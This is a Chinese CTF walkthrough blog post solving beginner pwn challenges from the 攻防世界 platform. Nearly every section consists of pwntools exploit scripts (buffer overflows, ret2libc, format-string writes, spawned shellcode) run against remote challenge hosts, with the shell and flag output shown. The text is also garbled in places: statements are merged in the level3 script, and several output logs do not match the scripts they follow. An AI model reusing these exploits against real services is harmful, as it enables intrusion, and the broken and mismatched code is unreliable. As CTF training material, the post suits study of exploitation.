

攻防世界pwn新手练习区通关教程

原创

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本文链接: https://blog.csdn.net/xuandao_ahfengren/article/details/106211140

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when_did_you_born

我们通过溢出来覆盖v5为1926即可

代码块

```
from pwn import *
r = remote("124.126.19.106",31534)
payload = 'a'* (0x20-0x18) +p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
print r.recv()
print r.recv()
```

The terminal window shows the exploit script being run and the resulting output. The exploit sends a payload to a remote host at 124.126.19.106 port 31534. The payload consists of 0x20 bytes minus 0x18 (leaving 0x18), followed by a p64(1926) value. The server responds with "You Are Born In 1926" and "You Shall Have Flag. cyberpeace{0bdb8e85a8122f5488dd47b7e3ae0b6b}".

hello_pwn

0x601068溢出4 bytes后输入aaun即可

代码块

```
from pwn import *
r = remote("124.126.19.106",56061)
payload = 'a'* 4+p32(0x6e756161)
r.recvuntil("lets get helloworld for bof")
r.sendline(payload)
print r.recv()
print r.recv()
```

The terminal window shows the exploit script being run and the resulting output. The exploit sends a payload to a remote host at 124.126.19.106 port 56061. The payload consists of 4 bytes followed by a p32(0x6e756161) value. The server responds with "cyberpeace{f51c3bf0e4894d00b904e712a355ec95}".

level0

覆盖buf

```
from pwn import *
r = remote("124.126.19.106",48024)
r.send('a'*0x88+p64(0x400596))
r.interactive()
```

```
from pwn import *
r = remote("124.126.19.106",48024)
r.send('a'*0x88+p64(0x400596))
r.interactive()

root@kali:~# python 1.py
[*] Opening connection to 124.126.19.106 on port 48024
[*] Switching to interactive mode
Hello, World
$ ls
bin
dev
flag
level0
lib
lib32
lib64
$ cat flag
cyberpeace{364773eddf9ea58088a2711416f7bacd}
$
```

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level2

初始的buf的空间只有0x88，但是读取我们输入的内容的时候，选择的大小确实0x100，造成了溢出

```
from pwn import *
p = remote('124.126.19.106','37679')
system = 0x8048320
bin_sh = 0x804A024
payload = 'a' * (0x88 + 0x04) + p32(system) + p32(0) + p32(bin_sh)
p.send(payload)
p.interactive()
```

```
from pwn import *
p = remote('124.126.19.106','37679')
system = 0x8048320
bin_sh = 0x804A024
payload = 'a' * (0x88 + 0x04) + p32(system)
p.send(payload)
p.interactive()

root@kali:~# python 1.py
[*] Opening connection to 124.126.19.106 on port 37679
[*] Switching to interactive mode
Input:
$ ls
bin
dev
flag
level2
lib
lib32
lib64
$ cat flag
cyberpeace{ba9a93ed1b3fdd164c4ae1a1b56b8262}
$
```

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guess_num

直接覆盖了60个重复的'a'即可

```

from pwn import *
from ctypes import *
p=remote("124.126.19.106","58368")
payload="a"*0x20+p64(1)
p.recvuntil("name:")
p.sendline(payload)
for i in range(10):
    num = str(cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6").rand()%6 + 1)
    p.recvuntil("number:")
    p.sendline(num)
p.interactive()

```

```

from pwn import *
from ctypes import *
p=remote("124.126.19.106","58368")
payload="a"*0x20+p64(1)
p.recvuntil("name:")
p.sendline(payload)
for i in range(10):
    num = str(cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6").rand()%6 + 1)
    p.recvuntil("number:")
    p.sendline(num)
p.interactive()

```

root@kali:~# python 1.py
[+] Opening connection to 124.126.19.106 on port 58368: Done
[+] Switching to interactive mode

Success!
You are a prophet!
Here is your flag!cyberpeace{cd30eb7b502c0720d217cfceaceba0ff6}
[*] Got EOF while reading in interactive

int_overflow

对于一个2字节的Unsigned short int型变量，它的有效数据长度为两个字节，当它的数据长度超过两个字节时，就溢出

```

from pwn import *
r = remote("124.126.19.106",59409)
return_address= 0x0804868B
r.sendlineafter(":", "1")
r.sendlineafter(":", "zzhwaxy")
r.recvuntil(":")
payload = "a" * 0x18 + p32(return_address)+"a"*(256-0x18)
r.sendline(payload)
r.interactive()

```

```

from pwn import *
r = remote("124.126.19.106",59409)
return_address= 0x0804868B
r.sendlineafter(":", "1")
r.sendlineafter(":", "zzhwaxy")
r.recvuntil(":")
payload = "a" * 0x18 + p32(return_address)+"a"*(256-0x18)
r.sendline(payload)
r.interactive()

```

root@kali:~# python 1.py
[+] Opening connection to 124.126.19.106 on port 59409
[+] Switching to interactive mode

Success!
cyberpeace{1644152c76d1f1f78588b36d0a5d6258}
[*] Got EOF while reading in interactive

cgpwn2

和0x06 level2原理相同，唯一的区别在于此题没有cat flag或/bin/sh的字符串，需要自己构造即可

```

from pwn import *
r = remote('124.126.19.106', 59666)
target = 0x804855A
binsh = 0x804A080
payload = 'a'*0x26+'bbbb'+p32(target)+p32(binsh)
a = r.recvuntil('e\n')
r.sendline('/bin/sh')
a = r.recvuntil(':\\n')
r.sendline(payload)
r.interactive()

```

```

from pwn import *
r = remote('124.126.19.106', 59666)
target = 0x804855A
binsh = 0x804A080
payload = 'a'*0x26+'bbbb'+p32(target)+p32(binsh)
a = r.recvuntil('e\n')
r.sendline('/bin/sh')
a = r.recvuntil(':\\n')
r.sendline(payload)
r.interactive()

root@kali: ~
[+] Opening connection to 124.126.19.106 on port 59666
[*] Switching to interactive mode
$ ls
bin
cgpwn2
dev
flag
lib
lib32
lib64
$ cat flag
cyberpeace{e4a8c1951df7abdc37ec18e392ffab98}
$ S://blog.csdn.net/xuanhao_anfengren

```

level3

```

from pwn import *
#获取远程进程对象
p=remote('111.198.29.45',41496)
#获取本地进程对象#p = process("./level3/level3")
#获取文件对象
elf=ELF('./level3/level3')
#获取lib库对象
libc = ELF('./level3/libc_32.so.6')
#获取函数
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
#接收数据
p.recvuntil(":\\n")
#char[88] ebp write函数地址 write函数返回地址(返回到main函数) write函数参数一(1) write函数参数二(write_got地址
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
#获取write在got中的地址
write_got_addr=u32(p.recv())print hex(write_got_addr)
#计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']print hex(libc_base)
#计算system的地址
system_addr = libc_base+libc.sym['system']print hex(system_addr)
#计算字符串 /bin/sh 的地址。0x15902b为偏移，通过命令: strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
bin_sh_addr = libc_base + 0x15902bprint hex(bin_sh_addr)
#char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接收数据
p.recvuntil(":\\n")
#发送payload
p.sendline(payload2)
#切换交互模式
p.interactive()

```

get_shell

直接运行即可

```
from pwn import *

context.log_level = 'debug'
io = remote('124.126.19.106', 45753)
io.sendline('cat flag')
io.interactive()
```

```
from pwn import *
context.log_level = 'debug'
io = remote('124.126.19.106', 45753)
io.sendline('cat flag')
io.interactive()

[DEBUG] Sent 0x3 bytes:
  'ls\n'
[DEBUG] Received 0x9 bytes:
  'cat flag\n'
[*] Switching to interactive mode
[DEBUG] Received 0x27 bytes:
  'bin\n'
  'dev\n'
  'flag\n'
  'get_shell\n'
  'lib\n'
  'lib32\n'
  'lib64\n'
bin
dev
flag
get_shell
lib
lib32
lib64
[DEBUG] Received 0x2d bytes:
https://blog.csdn.net/wangdaodao/article/details/115979098
cyberpeace{381da57a20fd3f914524bf13c9ad6cdb}
```

string

通过格式化字符串漏洞修改v4[0]的值，使之与v4[1]相等。然后读入shellcode并运行

```
from pwn import *
p = remote("124.126.19.106", "59075")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("Give me an address", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()
```

```
from pwn import *
p = remote("124.126.19.106", "59075")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("Give me an address", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()

[DEBUG] Sent 0x3 bytes:
  'secret[0] is '
[DEBUG] Received 0x24 bytes:
  'bin\n'
  'dev\n'
  'flag\n'
  'get_shell\n'
  'lib\n'
  'lib32\n'
  'lib64\n'
  'string\n'
$ cat flag
[DEBUG] Sent 0x9 bytes:
  'cat flag\n'
[DEBUG] Received 0x2d bytes:
https://blog.csdn.net/wangdaodao/article/details/115979098
cyberpeace{1e59790981e5270a5af2797a0ee6a5e91}\n
```

CGfsb

我们需要将pwnme的地址输入到s（也就是message）中去

在合适的位置上加一个`%n`，使其与我们输入的地址对应从而造成漏洞利用即可

```
from pwn import *

r = remote('124.126.19.106',57188)

pwnme_addr = 0x0804A068

payload = p32(pwnme_addr) + 'aaaa' + '%10$n'

r.recvuntil("please tell me your name:\n")

r.sendline('BurYiA')

r.recvuntil("leave your message please:\n")

r.sendline(payload)

r.interactive()
```



The terminal window shows the exploit script being run and the resulting interaction with the service. The exploit sends a payload containing the address of the pwnme function (0x0804A068) followed by four 'aaaa' bytes and a format string (%10\$n). The service responds with 'hello BurYiA', 'your message is:', and the leaked memory dump 'h\xaa\x04aaaa'. The exploit then prints the flag: 'you pwned me, here is your flag: cyberpeace{27d8b9ac806ce892e076ed8335cb2029}'.

```
from pwn import *
r = remote('124.126.19.106',57188)
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + 'aaaa' + '%10$n'
r.recvuntil("please tell me your name:\n")
r.sendline('BurYiA')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()
```

```
root@kali:~# python 1.py
[*] Opening connection to 124.126.19.106 on port 57188
[*] Switching to interactive mode
hello BurYiA
your message is:
h\xaa\x04aaaa
you pwned me, here is your flag:
cyberpeace{27d8b9ac806ce892e076ed8335cb2029}
[*] Got EOF while reading in interactive
$
```

攻略到这里结束了~~~~~